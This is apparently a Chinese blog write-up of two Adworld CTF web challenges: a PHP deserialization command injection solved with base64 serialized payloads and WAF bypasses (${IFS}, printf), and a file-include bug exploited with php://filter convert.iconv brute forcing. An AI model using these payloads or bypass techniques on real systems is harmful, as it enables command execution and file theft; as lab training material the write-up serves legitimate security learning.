免责声明:用户因利用公众号内容而产生的任何行为和后果,由用户自行负担责任。本公众号不负担因用户误解、不当利用等导致的法律责任
**本文以攻防世界部门题为例进行演示,后续会对攻防世界大部门的web题目进行演示,如果你感爱好请关注**
目录
一:攻防世界web-Unseping
二:攻防世界web-file_include
三:总结
一:攻防世界web-Unseping
打开发现为php代码,我们先辈行代码审计
- //靶场代码如下
- <?php
- highlight_file(__FILE__);
- class ease{
- private $method;
- private $args;
- function __construct($method, $args) {
- $this->method = $method;
- $this->args = $args;
- }
- function __destruct(){
- if (in_array($this->method, array("ping"))) {
- call_user_func_array(array($this, $this->method), $this->args);
- }
- }
- function ping($ip){
- exec($ip, $result);
- var_dump($result);
- }
- function waf($str){
- if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
- return $str;
- } else {
- echo "don't hack";
- }
- }
- function __wakeup(){
- foreach($this->args as $k => $v) {
- $this->args[$k] = $this->waf($v);
- }
- }
- }
- $ctf=@$_POST['ctf'];
- @unserialize(base64_decode($ctf));
- $payload=new ease(method:'ping', args:array('l/s'));
- echo base64_encode(serialize($payload));
- ?>
复制代码 1:首先利用post方法接受一个CTF并赋值给$ctf
2:将$ctf进行base64编码后再反序列化
_wakeup:在反序列化时被调用
3:调用_wakeup方法,将$this->arg进行遍历(也就是调用waf方法对$v进行过滤,然后将过滤后的$v在赋值给 $this->args也就是$k)
4:接受一个$str参数,然后利用if语句对str进行正则 查抄。如果不包含就返回$str反之输出don’t hack
_destruct:在脚本结束时调用
call_user_func_array :是 PHP 里一个相当实用的函数,它能动态调用函数或者方法,并且可以把参数以数组形式传递给被调用的函数或方法
5:首先判断$this->method是否为ping 如果为ping则调用$this->method方法也就是pin方法并将$this->args传给该方法,也就是传递给6
6:接受一个$ip也就是$this->metgod ,利用exrc执行$ip下令并将结果存在$result中最后在打印出来。
7:定义一个类然后声明两个私有属性,创建一个函数在类被调用时吸收两个参数并赋值给$this->method和$this->args
以是根据上述审计结果,代码流程为:首先吸收post哀求的CTF并将其base64编码后反序列化然后调用_wakeup方法遍历过滤在调用_deestruct方法进行调用ping,在ping中执行exrc方法。
构建payload:
1.创建一个新的ease对象设置method为“ping” args为执行的下令
2.由于ls被过滤以是ls=l/s就可以绕过
$payload=new ease(method:'ping', args:array('l/s'));
echo base64_encode(serialize($payload));
留意要英文书写
序列化得到:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319
得到flag目录修改payload检察此目录
${IFS}=空格
Payload:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMjoibFxzJHtJRlN9ZmxcYWdfMXNfaGVyZSI7fX0=
得到flag文件检察这个文件在构建payload
Payload:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3MDoibW9yZSR7SUZTfWZsXGFnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWZsXGFnXzgzMWI2OTAxMmM2N2IzNWYucFxocCI7fX0=
More:检察文件
$(printf${IFS}”\57”)=\
得到flag
二:攻防世界web-file_include
打开为如下所示
- //靶场代码
- <?php
- highlight_file(__FILE__);
- include("./check.php");
- if(isset($_GET['filename'])){
- $filename = $_GET['filename'];
- include($filename);
- }
- ?>
复制代码文件包含了一个check.php但我们访问不到,如何读取这个文件,我们利用php伪协议:php:/filter
常见的伪协议有:
php://filter/read=convert.base64-encode/resource=flag.php
php://filter/resource=flag.php
通过实行这两个都不可以
尝试其他伪协议
convert.iconv.<input-encoding>原始文件字符编码.<output-encoding>目的文件字符编码 (转化过滤器)
- //字符编码
- UCS-4*
- UCS-4BE
- UCS-4LE*
- UCS-2
- UCS-2BE
- UCS-2LE
- UTF-32*
- UTF-32BE*
- UTF-32LE*
- UTF-16*
- UTF-16BE*
- UTF-16LE*
- UTF-7
- UTF7-IMAP
- UTF-8*
- ASCII*
复制代码 我们利用bp尝试,对两个字符编码进行爆破,爆破字典如上
爆破成功得到flag,这道题目考察的是convert.iconv.<input-encoding>.<output-encoding> 伪协议
三:总结
攻防世界Web题中反序列化漏洞常考察PHP对象注入及把戏方法利用,伪协议题目多涉及php://filter、phar://等协议进行文件读取/反序列化攻击,需机动运用编码转换和特性绕过防护。
(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |